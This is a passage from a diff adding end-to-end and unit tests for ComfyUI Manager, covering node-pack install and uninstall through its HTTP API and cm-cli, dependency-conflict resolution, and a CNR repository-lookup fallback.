env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
r = subprocess.run(
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui.sh")],
capture_output=True,
text=True,
timeout=180,
env=env,
)
if r.returncode != 0:
raise RuntimeError(f"Failed to start ComfyUI:\n{r.stderr}")
for part in r.stdout.strip().split():
if part.startswith("COMFYUI_PID="):
return int(part.split("=")[1])
raise RuntimeError(f"Could not parse PID from start_comfyui output:\n{r.stdout}")
def _stop_comfyui():
"""Stop ComfyUI."""
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
subprocess.run(
["bash", os.path.join(SCRIPTS_DIR, "stop_comfyui.sh")],
capture_output=True,
text=True,
timeout=30,
env=env,
)
def _queue_task(task: dict) -> None:
"""Queue a task and start the worker."""
resp = requests.post(
f"{BASE_URL}/v2/manager/queue/task",
json=task,
timeout=10,
)
resp.raise_for_status()
requests.get(f"{BASE_URL}/v2/manager/queue/start", timeout=10)
def _remove_pack(name: str) -> None:
"""Remove a node pack directory and any .disabled/ entries."""
# Active directory
path = os.path.join(CUSTOM_NODES, name)
if os.path.islink(path):
os.unlink(path)
elif os.path.isdir(path):
shutil.rmtree(path, ignore_errors=True)
# .disabled/ entries (CNR versioned + nightly)
disabled_dir = os.path.join(CUSTOM_NODES, ".disabled")
if os.path.isdir(disabled_dir):
cnr_lower = name.lower().replace("_", "").replace("-", "")
for entry in os.listdir(disabled_dir):
entry_lower = entry.lower().replace("_", "").replace("-", "")
if entry_lower.startswith(cnr_lower):
entry_path = os.path.join(disabled_dir, entry)
if os.path.isdir(entry_path):
shutil.rmtree(entry_path, ignore_errors=True)
def _pack_exists(name: str) -> bool:
return os.path.isdir(os.path.join(CUSTOM_NODES, name))
def _has_tracking(name: str) -> bool:
"""Check if the pack has a .tracking file (CNR install marker)."""
return os.path.isfile(os.path.join(CUSTOM_NODES, name, ".tracking"))
def _wait_for(predicate, timeout=POLL_TIMEOUT, interval=POLL_INTERVAL):
"""Poll *predicate* until it returns True or *timeout* seconds elapse.
Returns True if predicate was satisfied, False on timeout.
"""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
if predicate():
return True
time.sleep(interval)
return False
# ---------------------------------------------------------------------------
# Fixtures
# ---------------------------------------------------------------------------
@pytest.fixture(scope="module")
def comfyui():
"""Start ComfyUI once for the module, stop after all tests."""
_remove_pack(PACK_DIR_NAME)
pid = _start_comfyui()
yield pid
_stop_comfyui()
_remove_pack(PACK_DIR_NAME)
# ---------------------------------------------------------------------------
# Tests
# ---------------------------------------------------------------------------
class TestEndpointInstallUninstall:
"""Install and uninstall via HTTP endpoints on a running ComfyUI.
Follows the same methodology as tests/glob/test_queue_task_api.py in
the main comfyui-manager repo: CNR version-based install, .tracking
verification, installed-list API check.
"""
def test_install_via_endpoint(self, comfyui):
"""POST /v2/manager/queue/task (install) -> pack appears on disk with .tracking."""
_remove_pack(PACK_DIR_NAME)
_queue_task({
"ui_id": "e2e-install",
"client_id": "e2e-install",
"kind": "install",
"params": {
"id": PACK_ID,
"version": PACK_VERSION,
"selected_version": "latest",
"mode": "remote",
"channel": "default",
},
})
assert _wait_for(
lambda: _pack_exists(PACK_DIR_NAME),
), f"{PACK_DIR_NAME} not found in custom_nodes within {POLL_TIMEOUT}s"
assert _has_tracking(PACK_DIR_NAME), f"{PACK_DIR_NAME} missing .tracking (not a CNR install?)"
def test_installed_list_shows_pack(self, comfyui):
"""GET /v2/customnode/installed includes the installed pack."""
if not _pack_exists(PACK_DIR_NAME):
pytest.skip("Pack not installed (previous test may have failed)")
resp = requests.get(f"{BASE_URL}/v2/customnode/installed", timeout=10)
resp.raise_for_status()
installed = resp.json()
# Match by cnr_id (case-insensitive) following main repo pattern
package_found = any(
pkg.get("cnr_id", "").lower() == PACK_CNR_ID.lower()
for pkg in installed.values()
if isinstance(pkg, dict) and pkg.get("cnr_id")
)
assert package_found, (
f"{PACK_CNR_ID} not found in installed list: {list(installed.keys())}"
)
def test_uninstall_via_endpoint(self, comfyui):
"""POST /v2/manager/queue/task (uninstall) -> pack removed from disk."""
if not _pack_exists(PACK_DIR_NAME):
pytest.skip("Pack not installed (previous test may have failed)")
_queue_task({
"ui_id": "e2e-uninstall",
"client_id": "e2e-uninstall",
"kind": "uninstall",
"params": {
"node_name": PACK_CNR_ID,
},
})
assert _wait_for(
lambda: not _pack_exists(PACK_DIR_NAME),
), f"{PACK_DIR_NAME} still exists after uninstall ({POLL_TIMEOUT}s timeout)"
def test_installed_list_after_uninstall(self, comfyui):
"""After uninstall, pack no longer appears in installed list."""
if _pack_exists(PACK_DIR_NAME):
pytest.skip("Pack still exists (previous test may have failed)")
resp = requests.get(f"{BASE_URL}/v2/customnode/installed", timeout=10)
resp.raise_for_status()
installed = resp.json()
package_found = any(
pkg.get("cnr_id", "").lower() == PACK_CNR_ID.lower()
for pkg in installed.values()
if isinstance(pkg, dict) and pkg.get("cnr_id")
)
assert not package_found, f"{PACK_CNR_ID} still in installed list after uninstall"
def test_install_uninstall_cycle(self, comfyui):
"""Complete install/uninstall cycle in a single test."""
_remove_pack(PACK_DIR_NAME)
# Install
_queue_task({
"ui_id": "e2e-cycle-install",
"client_id": "e2e-cycle",
"kind": "install",
"params": {
"id": PACK_ID,
"version": PACK_VERSION,
"selected_version": "latest",
"mode": "remote",
"channel": "default",
},
})
assert _wait_for(
lambda: _pack_exists(PACK_DIR_NAME),
), f"Pack not installed within {POLL_TIMEOUT}s"
assert _has_tracking(PACK_DIR_NAME), "Pack missing .tracking"
# Verify in installed list
resp = requests.get(f"{BASE_URL}/v2/customnode/installed", timeout=10)
resp.raise_for_status()
installed = resp.json()
package_found = any(
pkg.get("cnr_id", "").lower() == PACK_CNR_ID.lower()
for pkg in installed.values()
if isinstance(pkg, dict) and pkg.get("cnr_id")
)
assert package_found, f"{PACK_CNR_ID} not in installed list"
# Uninstall
_queue_task({
"ui_id": "e2e-cycle-uninstall",
"client_id": "e2e-cycle",
"kind": "uninstall",
"params": {
"node_name": PACK_CNR_ID,
},
})
assert _wait_for(
lambda: not _pack_exists(PACK_DIR_NAME),
), f"Pack not uninstalled within {POLL_TIMEOUT}s"
class TestEndpointStartup:
"""Verify ComfyUI startup with unified resolver."""
def test_comfyui_started(self, comfyui):
"""ComfyUI is running and responds to health check."""
resp = requests.get(f"{BASE_URL}/system_stats", timeout=10)
assert resp.status_code == 200
def test_startup_resolver_ran(self, comfyui):
"""Startup log contains unified resolver output."""
log_path = os.path.join(E2E_ROOT, "logs", "comfyui.log")
with open(log_path) as f:
log = f.read()
assert "[UnifiedDepResolver]" in log
assert "startup batch resolution succeeded" in log
+273
View File
@@ -0,0 +1,273 @@
"""E2E tests for git-clone-based node installation via ComfyUI Manager API.
Starts a real ComfyUI instance and installs custom nodes by URL (nightly mode),
which triggers git_helper.py as a subprocess. This is the code path that crashed
on Windows with ModuleNotFoundError (Phase 1) and exit 128 (Phase 2).
Requires a pre-built E2E environment (from setup_e2e_env.py).
Set E2E_ROOT env var to point at it, or the tests will be skipped.
Supply-chain safety policy:
Only install from verified, controllable authors (ltdrdata).
Usage:
E2E_ROOT=/tmp/e2e_full_test pytest tests/e2e/test_e2e_git_clone.py -v
"""
from __future__ import annotations
import os
import shutil
import subprocess
import sys
import time
import pytest
import requests
E2E_ROOT = os.environ.get("E2E_ROOT", "")
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
CUSTOM_NODES = os.path.join(COMFYUI_PATH, "custom_nodes") if COMFYUI_PATH else ""
PORT = 8198 # Different port from endpoint tests to avoid conflicts
BASE_URL = f"http://127.0.0.1:{PORT}"
REPO_TEST1 = "https://github.com/ltdrdata/nodepack-test1-do-not-install"
PACK_TEST1 = "nodepack-test1-do-not-install"
POLL_TIMEOUT = 60
POLL_INTERVAL = 1.0
pytestmark = pytest.mark.skipif(
not E2E_ROOT or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
reason="E2E_ROOT not set or E2E environment not ready",
)
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
_comfyui_proc: subprocess.Popen | None = None
def _venv_python() -> str:
if sys.platform == "win32":
return os.path.join(E2E_ROOT, "venv", "Scripts", "python.exe")
return os.path.join(E2E_ROOT, "venv", "bin", "python")
def _cm_cli_path() -> str:
if sys.platform == "win32":
return os.path.join(E2E_ROOT, "venv", "Scripts", "cm-cli.exe")
return os.path.join(E2E_ROOT, "venv", "bin", "cm-cli")
def _ensure_cache():
"""Run cm-cli update-cache (blocking) to populate Manager cache before tests."""
env = {**os.environ, "COMFYUI_PATH": COMFYUI_PATH}
r = subprocess.run(
[_cm_cli_path(), "update-cache"],
capture_output=True, text=True, timeout=120, env=env,
)
if r.returncode != 0:
raise RuntimeError(f"update-cache failed:\n{r.stderr}")
def _start_comfyui() -> int:
"""Start ComfyUI via Popen (cross-platform, no bash dependency)."""
global _comfyui_proc # noqa: PLW0603
log_dir = os.path.join(E2E_ROOT, "logs")
os.makedirs(log_dir, exist_ok=True)
log_file = open(os.path.join(log_dir, "comfyui.log"), "w") # noqa: SIM115
env = {
**os.environ,
"COMFYUI_PATH": COMFYUI_PATH,
"PYTHONUNBUFFERED": "1",
}
_comfyui_proc = subprocess.Popen(
[_venv_python(), "-u", os.path.join(COMFYUI_PATH, "main.py"),
"--listen", "127.0.0.1", "--port", str(PORT),
"--cpu", "--enable-manager"],
stdout=log_file, stderr=subprocess.STDOUT,
env=env,
)
# Wait for server to be ready.
# Manager may restart ComfyUI after startup dependency install (exit 0 → re-launch).
# If the process exits with code 0, keep polling — the restarted process will bind the port.
deadline = time.monotonic() + 120
while time.monotonic() < deadline:
try:
r = requests.get(f"{BASE_URL}/system_stats", timeout=2)
if r.status_code == 200:
return _comfyui_proc.pid
except requests.ConnectionError:
pass
if _comfyui_proc.poll() is not None:
if _comfyui_proc.returncode != 0:
log_file.close()
log_content = open(os.path.join(log_dir, "comfyui.log")).read()[-2000:] # noqa: SIM115
raise RuntimeError(
f"ComfyUI exited with code {_comfyui_proc.returncode}:\n{log_content}"
)
# exit 0 = Manager restart. Keep polling for the restarted process.
time.sleep(1)
log_file.close()
log_content = open(os.path.join(log_dir, "comfyui.log")).read()[-2000:] # noqa: SIM115
raise RuntimeError(f"ComfyUI did not start within 120s. Log:\n{log_content}")
def _stop_comfyui():
"""Stop ComfyUI process."""
global _comfyui_proc # noqa: PLW0603
if _comfyui_proc is None:
return
_comfyui_proc.terminate()
try:
_comfyui_proc.wait(timeout=10)
except subprocess.TimeoutExpired:
_comfyui_proc.kill()
_comfyui_proc = None
def _queue_task(task: dict) -> None:
"""Queue a Manager task and start the worker."""
resp = requests.post(f"{BASE_URL}/v2/manager/queue/task", json=task, timeout=10)
resp.raise_for_status()
requests.get(f"{BASE_URL}/v2/manager/queue/start", timeout=10)
def _remove_pack(name: str) -> None:
"""Remove a node pack from custom_nodes.
On Windows, file locks (antivirus, git handles) can prevent immediate
deletion. Strategy: retry rmtree, then fall back to rename (moves the
directory out of the resolver's scan path so stale deps don't leak).
"""
path = os.path.join(CUSTOM_NODES, name)
if os.path.islink(path):
os.unlink(path)
return
if not os.path.isdir(path):
return
for attempt in range(3):
try:
shutil.rmtree(path)
return
except OSError:
if attempt < 2:
time.sleep(1)
# Fallback: rename out of custom_nodes so resolver won't scan it
import uuid
trash = os.path.join(CUSTOM_NODES, f".trash_{uuid.uuid4().hex[:8]}")
try:
os.rename(path, trash)
shutil.rmtree(trash, ignore_errors=True)
except OSError:
shutil.rmtree(path, ignore_errors=True)
def _pack_exists(name: str) -> bool:
return os.path.isdir(os.path.join(CUSTOM_NODES, name))
def _wait_for(predicate, timeout=POLL_TIMEOUT, interval=POLL_INTERVAL):
"""Poll predicate until True or timeout."""
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
if predicate():
return True
time.sleep(interval)
return False
# ---------------------------------------------------------------------------
# Fixtures
# ---------------------------------------------------------------------------
@pytest.fixture(scope="module")
def comfyui():
"""Populate cache, start ComfyUI, stop after all tests."""
_remove_pack(PACK_TEST1)
_ensure_cache()
pid = _start_comfyui()
yield pid
_stop_comfyui()
_remove_pack(PACK_TEST1)
# ---------------------------------------------------------------------------
# Tests: nightly (URL) install via Manager API → git_helper.py subprocess
#
# Single sequential test to avoid autouse cleanup races. The task queue
# is async so we poll for completion between steps.
# ---------------------------------------------------------------------------
_INSTALL_PARAMS = {
"id": PACK_TEST1,
"selected_version": "nightly",
"mode": "remote",
"channel": "default",
"repository": REPO_TEST1,
"version": "1.0.0",
}
class TestNightlyInstallCycle:
"""Full nightly install/verify/uninstall cycle in one test class.
Tests MUST run in order (install verify uninstall). pytest preserves
method definition order within a class.
"""
def test_01_nightly_install(self, comfyui):
"""Nightly install should git-clone the repo into custom_nodes."""
_remove_pack(PACK_TEST1)
assert not _pack_exists(PACK_TEST1), (
f"Failed to clean {PACK_TEST1} — file locks may be holding the directory"
)
_queue_task({
"ui_id": "e2e-nightly-install",
"client_id": "e2e-nightly",
"kind": "install",
"params": _INSTALL_PARAMS,
})
assert _wait_for(lambda: _pack_exists(PACK_TEST1)), (
f"{PACK_TEST1} not cloned within {POLL_TIMEOUT}s"
)
# Verify .git directory exists (git clone, not zip download)
git_dir = os.path.join(CUSTOM_NODES, PACK_TEST1, ".git")
assert os.path.isdir(git_dir), "No .git directory — not a git clone"
def test_02_no_module_error(self, comfyui):
"""Server log must not contain ModuleNotFoundError (Phase 1 regression)."""
log_path = os.path.join(E2E_ROOT, "logs", "comfyui.log")
if not os.path.isfile(log_path):
pytest.skip("Log file not found (server may use different log path)")
with open(log_path) as f:
log = f.read()
assert "ModuleNotFoundError" not in log, (
"ModuleNotFoundError in server log — git_helper.py import isolation broken"
)
def test_03_nightly_uninstall(self, comfyui):
"""Uninstall the nightly-installed pack."""
if not _pack_exists(PACK_TEST1):
pytest.skip("Pack not installed (previous test may have failed)")
_queue_task({
"ui_id": "e2e-nightly-uninst",
"client_id": "e2e-nightly",
"kind": "uninstall",
"params": {
"node_name": PACK_TEST1,
},
})
assert _wait_for(lambda: not _pack_exists(PACK_TEST1)), (
f"{PACK_TEST1} still exists after uninstall ({POLL_TIMEOUT}s timeout)"
)
+325
View File
@@ -0,0 +1,325 @@
"""E2E tests for cm-cli --uv-compile across all supported commands.
Requires a pre-built E2E environment (from setup_e2e_env.sh).
Set E2E_ROOT env var to point at it, or the tests will be skipped.
Supply-chain safety policy:
To prevent supply-chain attacks, E2E tests MUST only install node packs
from verified, controllable authors (ltdrdata, comfyanonymous, etc.).
Currently this suite uses only ltdrdata's dedicated test packs
(nodepack-test1-do-not-install, nodepack-test2-do-not-install) which
are intentionally designed for conflict testing and contain no
executable code. Adding packs from unverified sources is prohibited.
Usage:
E2E_ROOT=/tmp/e2e_full_test pytest tests/e2e/test_e2e_uv_compile.py -v
"""
from __future__ import annotations
import os
import shutil
import subprocess
import sys
import time
import pytest
E2E_ROOT = os.environ.get("E2E_ROOT", "")
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
CUSTOM_NODES = os.path.join(COMFYUI_PATH, "custom_nodes") if COMFYUI_PATH else ""
# Cross-platform: resolve cm-cli executable in venv
if E2E_ROOT:
if sys.platform == "win32":
CM_CLI = os.path.join(E2E_ROOT, "venv", "Scripts", "cm-cli.exe")
else:
CM_CLI = os.path.join(E2E_ROOT, "venv", "bin", "cm-cli")
else:
CM_CLI = ""
REPO_TEST1 = "https://github.com/ltdrdata/nodepack-test1-do-not-install"
REPO_TEST2 = "https://github.com/ltdrdata/nodepack-test2-do-not-install"
PACK_TEST1 = "nodepack-test1-do-not-install"
PACK_TEST2 = "nodepack-test2-do-not-install"
pytestmark = pytest.mark.skipif(
not E2E_ROOT or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
reason="E2E_ROOT not set or E2E environment not ready (run setup_e2e_env.sh first)",
)
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def _run_cm_cli(*args: str, timeout: int = 180) -> subprocess.CompletedProcess:
"""Run cm-cli in the E2E environment.
Uses file-based capture instead of pipes to avoid Windows pipe buffer
loss when the subprocess exits via typer.Exit / sys.exit.
"""
env = {
**os.environ,
"COMFYUI_PATH": COMFYUI_PATH,
"PYTHONUNBUFFERED": "1",
}
stdout_path = os.path.join(E2E_ROOT, f"_cm_stdout_{os.getpid()}.tmp")
stderr_path = os.path.join(E2E_ROOT, f"_cm_stderr_{os.getpid()}.tmp")
try:
with open(stdout_path, "w", encoding="utf-8") as out_f, \
open(stderr_path, "w", encoding="utf-8") as err_f:
r = subprocess.run(
[CM_CLI, *args],
stdout=out_f,
stderr=err_f,
timeout=timeout,
env=env,
)
with open(stdout_path, encoding="utf-8", errors="replace") as f:
r.stdout = f.read()
with open(stderr_path, encoding="utf-8", errors="replace") as f:
r.stderr = f.read()
finally:
for p in (stdout_path, stderr_path):
try:
os.unlink(p)
except OSError:
pass
return r
def _remove_pack(name: str) -> None:
"""Remove a node pack from custom_nodes (if it exists).
On Windows, file locks (antivirus, git handles) can prevent immediate
deletion. Strategy: retry rmtree, then fall back to rename (moves the
directory out of the resolver's scan path so stale deps don't leak).
"""
path = os.path.join(CUSTOM_NODES, name)
if os.path.islink(path):
os.unlink(path)
return
if not os.path.isdir(path):
return
# Try direct removal first
for attempt in range(3):
try:
shutil.rmtree(path)
return
except OSError:
if attempt < 2:
time.sleep(1)
# Fallback: rename out of custom_nodes so resolver won't scan it
import uuid
trash = os.path.join(CUSTOM_NODES, f".trash_{uuid.uuid4().hex[:8]}")
try:
os.rename(path, trash)
shutil.rmtree(trash, ignore_errors=True)
except OSError:
shutil.rmtree(path, ignore_errors=True)
def _pack_exists(name: str) -> bool:
return os.path.isdir(os.path.join(CUSTOM_NODES, name))
# ---------------------------------------------------------------------------
# Fixtures
# ---------------------------------------------------------------------------
def _clean_trash() -> None:
"""Remove .trash_* directories left by rename-then-delete fallback."""
if not CUSTOM_NODES or not os.path.isdir(CUSTOM_NODES):
return
for name in os.listdir(CUSTOM_NODES):
if name.startswith(".trash_"):
shutil.rmtree(os.path.join(CUSTOM_NODES, name), ignore_errors=True)
@pytest.fixture(autouse=True)
def _clean_test_packs():
"""Ensure test node packs are removed before and after each test."""
_remove_pack(PACK_TEST1)
_remove_pack(PACK_TEST2)
_clean_trash()
yield
_remove_pack(PACK_TEST1)
_remove_pack(PACK_TEST2)
_clean_trash()
# ---------------------------------------------------------------------------
# Tests
# ---------------------------------------------------------------------------
class TestInstall:
"""cm-cli install --uv-compile"""
def test_install_single_pack_resolves(self):
"""Install one test pack with --uv-compile → resolve succeeds."""
r = _run_cm_cli("install", "--uv-compile", REPO_TEST1)
combined = r.stdout + r.stderr
assert _pack_exists(PACK_TEST1)
assert "Installation was successful" in combined
assert "Resolved" in combined
def test_install_conflicting_packs_shows_attribution(self):
"""Install two conflicting packs → conflict attribution output."""
# Install first (no conflict yet)
r1 = _run_cm_cli("install", "--uv-compile", REPO_TEST1)
assert _pack_exists(PACK_TEST1), f"test1 not installed (rc={r1.returncode})"
assert r1.returncode == 0, f"test1 install failed (rc={r1.returncode})"
# Install second → uv-compile detects conflict between
# python-slugify==8.0.4 (test1) and text-unidecode==1.2 (test2)
r2 = _run_cm_cli("install", "--uv-compile", REPO_TEST2)
combined = r2.stdout + r2.stderr
assert _pack_exists(PACK_TEST2), f"test2 not cloned (rc={r2.returncode})"
assert r2.returncode != 0, f"Expected non-zero exit (conflict). rc={r2.returncode}"
assert "Resolution failed" in combined, (
f"Missing 'Resolution failed'. stdout={r2.stdout[:500]!r}"
)
assert "Conflicting packages (by node pack):" in combined
class TestReinstall:
"""cm-cli reinstall --uv-compile"""
def test_reinstall_with_uv_compile(self):
"""Reinstall an existing pack with --uv-compile."""
# Install first
_run_cm_cli("install", REPO_TEST1)
assert _pack_exists(PACK_TEST1)
# Reinstall with --uv-compile
r = _run_cm_cli("reinstall", "--uv-compile", REPO_TEST1)
combined = r.stdout + r.stderr
# Reinstall should re-resolve or report the pack exists
# Note: Manager's reinstall may fail to remove the existing directory
# before re-cloning (known issue — purge_node_state bug)
assert _pack_exists(PACK_TEST1)
assert "Resolving dependencies" in combined or "Already exists" in combined
class TestUpdate:
"""cm-cli update --uv-compile"""
def test_update_single_with_uv_compile(self):
"""Update an installed pack with --uv-compile."""
_run_cm_cli("install", REPO_TEST1)
assert _pack_exists(PACK_TEST1)
r = _run_cm_cli("update", "--uv-compile", REPO_TEST1)
combined = r.stdout + r.stderr
assert "Resolving dependencies" in combined
def test_update_all_with_uv_compile(self):
"""update all --uv-compile runs uv-compile after updating."""
_run_cm_cli("install", REPO_TEST1)
assert _pack_exists(PACK_TEST1)
r = _run_cm_cli("update", "--uv-compile", "all")
combined = r.stdout + r.stderr
assert "Resolving dependencies" in combined
class TestFix:
"""cm-cli fix --uv-compile"""
def test_fix_single_with_uv_compile(self):
"""Fix an installed pack with --uv-compile."""
_run_cm_cli("install", REPO_TEST1)
assert _pack_exists(PACK_TEST1)
r = _run_cm_cli("fix", "--uv-compile", REPO_TEST1)
combined = r.stdout + r.stderr
assert "Resolving dependencies" in combined
def test_fix_all_with_uv_compile(self):
"""fix all --uv-compile runs uv-compile after fixing."""
_run_cm_cli("install", REPO_TEST1)
assert _pack_exists(PACK_TEST1)
r = _run_cm_cli("fix", "--uv-compile", "all")
combined = r.stdout + r.stderr
assert "Resolving dependencies" in combined
class TestUvCompileStandalone:
"""cm-cli uv-sync (standalone command, formerly uv-compile)"""
def test_uv_compile_no_packs(self):
"""uv-compile with no node packs → 'No custom node packs found'."""
r = _run_cm_cli("uv-sync")
combined = r.stdout + r.stderr
# Only ComfyUI-Manager exists (no requirements.txt in it normally)
# so either "No custom node packs found" or resolves 0
assert r.returncode == 0 or "No custom node packs" in combined
def test_uv_compile_with_packs(self):
"""uv-compile after installing test pack → resolves."""
_run_cm_cli("install", REPO_TEST1)
assert _pack_exists(PACK_TEST1)
r = _run_cm_cli("uv-sync")
combined = r.stdout + r.stderr
assert "Resolving dependencies" in combined
assert "Resolved" in combined
def test_uv_compile_conflict_attribution(self):
"""uv-compile with conflicting packs → shows attribution."""
_run_cm_cli("install", REPO_TEST1)
_run_cm_cli("install", REPO_TEST2)
r = _run_cm_cli("uv-sync")
combined = r.stdout + r.stderr
assert r.returncode != 0
assert "Conflicting packages (by node pack):" in combined
assert PACK_TEST1 in combined
assert PACK_TEST2 in combined
class TestRestoreDependencies:
"""cm-cli restore-dependencies --uv-compile"""
def test_restore_dependencies_with_uv_compile(self):
"""restore-dependencies --uv-compile runs resolver after restore."""
_run_cm_cli("install", REPO_TEST1)
assert _pack_exists(PACK_TEST1)
r = _run_cm_cli("restore-dependencies", "--uv-compile")
combined = r.stdout + r.stderr
assert "Resolving dependencies" in combined
class TestConflictAttributionDetail:
"""Verify conflict attribution output details."""
def test_both_packs_and_specs_shown(self):
"""Conflict output shows pack names AND version specs."""
_run_cm_cli("install", REPO_TEST1)
_run_cm_cli("install", REPO_TEST2)
r = _run_cm_cli("uv-sync")
combined = r.stdout + r.stderr
# Processed attribution must show exact version specs (not raw uv error)
assert r.returncode != 0
assert "Conflicting packages (by node pack):" in combined
assert "python-slugify==8.0.4" in combined
assert "text-unidecode==1.2" in combined
# Both pack names present in attribution block
assert PACK_TEST1 in combined
assert PACK_TEST2 in combined
+325
View File
@@ -0,0 +1,325 @@
"""Unit tests for CNR fallback in install_by_id nightly path and getattr guard.
Tests two targeted bug fixes:
1. install_by_id nightly: falls back to cnr_map when custom_nodes lookup fails
2. do_uninstall/do_disable: getattr guard prevents AttributeError on Union mismatch
"""
from __future__ import annotations
import asyncio
import types
# ---------------------------------------------------------------------------
# Minimal stubs — avoid importing the full ComfyUI runtime
# ---------------------------------------------------------------------------
class _ManagedResult:
"""Minimal ManagedResult stub matching glob/manager_core.py."""
def __init__(self, action):
self.action = action
self.result = True
self.msg = None
self.target = None
def fail(self, msg):
self.result = False
self.msg = msg
return self
def with_target(self, target):
self.target = target
return self
class _NormalizedKeyDict:
"""Minimal NormalizedKeyDict stub matching glob/manager_core.py."""
def __init__(self):
self._store = {}
self._key_map = {}
def _normalize_key(self, key):
return key.strip().lower() if isinstance(key, str) else key
def __setitem__(self, key, value):
norm = self._normalize_key(key)
self._key_map[norm] = key
self._store[key] = value
def __getitem__(self, key):
norm = self._normalize_key(key)
return self._store[self._key_map[norm]]
def __contains__(self, key):
return self._normalize_key(key) in self._key_map
def get(self, key, default=None):
return self[key] if key in self else default
# ===================================================================
# Test 1: CNR fallback in install_by_id nightly path
# ===================================================================
class TestNightlyCnrFallback:
"""install_by_id with version_spec='nightly' should fall back to cnr_map
when custom_nodes lookup returns None for the node_id."""
def _make_manager(self, cnr_map_entries=None, custom_nodes_entries=None):
"""Create a minimal UnifiedManager-like object with the install_by_id
nightly fallback logic extracted for unit testing."""
mgr = types.SimpleNamespace()
mgr.cnr_map = _NormalizedKeyDict()
if cnr_map_entries:
for k, v in cnr_map_entries.items():
mgr.cnr_map[k] = v
# Mock get_custom_nodes to return a NormalizedKeyDict
custom_nodes = _NormalizedKeyDict()
if custom_nodes_entries:
for k, v in custom_nodes_entries.items():
custom_nodes[k] = v
async def get_custom_nodes(channel=None, mode=None):
return custom_nodes
mgr.get_custom_nodes = get_custom_nodes
# Stubs for is_enabled/is_disabled that always return False (not installed)
mgr.is_enabled = lambda *a, **kw: False
mgr.is_disabled = lambda *a, **kw: False
return mgr
@staticmethod
async def _run_nightly_lookup(mgr, node_id, channel='default', mode='remote'):
"""Execute the nightly lookup logic from install_by_id.
Reproduces lines ~1407-1431 of glob/manager_core.py to test the
CNR fallback path in isolation.
"""
version_spec = 'nightly'
repo_url = None
custom_nodes = await mgr.get_custom_nodes(channel, mode)
the_node = custom_nodes.get(node_id)
if the_node is not None:
repo_url = the_node['repository']
else:
# Fallback for nightly only: use repository URL from CNR map
if version_spec == 'nightly':
cnr_fallback = mgr.cnr_map.get(node_id)
if cnr_fallback is not None and cnr_fallback.get('repository'):
repo_url = cnr_fallback['repository']
else:
result = _ManagedResult('install')
return result.fail(
f"Node '{node_id}@{version_spec}' not found in [{channel}, {mode}]"
)
return repo_url
def test_fallback_to_cnr_map_when_custom_nodes_missing(self):
"""Node absent from custom_nodes but present in cnr_map -> uses cnr_map repo URL."""
mgr = self._make_manager(
cnr_map_entries={
'my-test-pack': {
'id': 'my-test-pack',
'repository': 'https://github.com/test/my-test-pack',
'publisher': 'testuser',
},
},
custom_nodes_entries={}, # empty — node not in nightly manifest
)
result = asyncio.run(
self._run_nightly_lookup(mgr, 'my-test-pack')
)
assert result == 'https://github.com/test/my-test-pack'
def test_fallback_fails_when_cnr_map_also_missing(self):
"""Node absent from both custom_nodes and cnr_map -> ManagedResult.fail."""
mgr = self._make_manager(
cnr_map_entries={},
custom_nodes_entries={},
)
result = asyncio.run(
self._run_nightly_lookup(mgr, 'nonexistent-pack')
)
assert isinstance(result, _ManagedResult)
assert result.result is False
assert 'nonexistent-pack@nightly' in result.msg
def test_fallback_fails_when_cnr_entry_has_no_repository(self):
"""Node in cnr_map but repository is None/empty -> ManagedResult.fail."""
mgr = self._make_manager(
cnr_map_entries={
'no-repo-pack': {
'id': 'no-repo-pack',
'repository': None,
'publisher': 'testuser',
},
},
custom_nodes_entries={},
)
result = asyncio.run(
self._run_nightly_lookup(mgr, 'no-repo-pack')
)
assert isinstance(result, _ManagedResult)
assert result.result is False
def test_fallback_fails_when_cnr_entry_has_empty_repository(self):
"""Node in cnr_map but repository is '' -> ManagedResult.fail (truthy check)."""
mgr = self._make_manager(
cnr_map_entries={
'empty-repo-pack': {
'id': 'empty-repo-pack',
'repository': '',
'publisher': 'testuser',
},
},
custom_nodes_entries={},
)
result = asyncio.run(
self._run_nightly_lookup(mgr, 'empty-repo-pack')
)
assert isinstance(result, _ManagedResult)
assert result.result is False
def test_direct_custom_nodes_hit_skips_cnr_fallback(self):
"""Node present in custom_nodes -> uses custom_nodes directly, no fallback needed."""
mgr = self._make_manager(
cnr_map_entries={
'found-pack': {
'id': 'found-pack',
'repository': 'https://github.com/test/found-cnr',
},
},
custom_nodes_entries={
'found-pack': {
'repository': 'https://github.com/test/found-custom',
'files': ['https://github.com/test/found-custom'],
},
},
)
result = asyncio.run(
self._run_nightly_lookup(mgr, 'found-pack')
)
# Should use custom_nodes repo URL, NOT cnr_map
assert result == 'https://github.com/test/found-custom'
def test_unknown_version_spec_does_not_use_cnr_fallback(self):
"""version_spec='unknown' path should NOT use cnr_map fallback."""
mgr = self._make_manager(
cnr_map_entries={
'unknown-pack': {
'id': 'unknown-pack',
'repository': 'https://github.com/test/unknown-pack',
},
},
custom_nodes_entries={},
)
async def _run_unknown_lookup():
version_spec = 'unknown'
custom_nodes = await mgr.get_custom_nodes()
the_node = custom_nodes.get('unknown-pack')
if the_node is not None:
return the_node['files'][0]
else:
if version_spec == 'nightly':
# This branch should NOT be taken for 'unknown'
cnr_fallback = mgr.cnr_map.get('unknown-pack')
if cnr_fallback is not None and cnr_fallback.get('repository'):
return cnr_fallback['repository']
# Fall through to error for 'unknown'
result = _ManagedResult('install')
return result.fail(
f"Node 'unknown-pack@{version_spec}' not found"
)
result = asyncio.run(_run_unknown_lookup())
assert isinstance(result, _ManagedResult)
assert result.result is False
assert 'unknown' in result.msg
def test_case_insensitive_cnr_map_lookup(self):
"""CNR map uses NormalizedKeyDict — lookup should be case-insensitive."""
mgr = self._make_manager(
cnr_map_entries={
'My-Test-Pack': {
'id': 'my-test-pack',
'repository': 'https://github.com/test/my-test-pack',
},
},
custom_nodes_entries={},
)
result = asyncio.run(
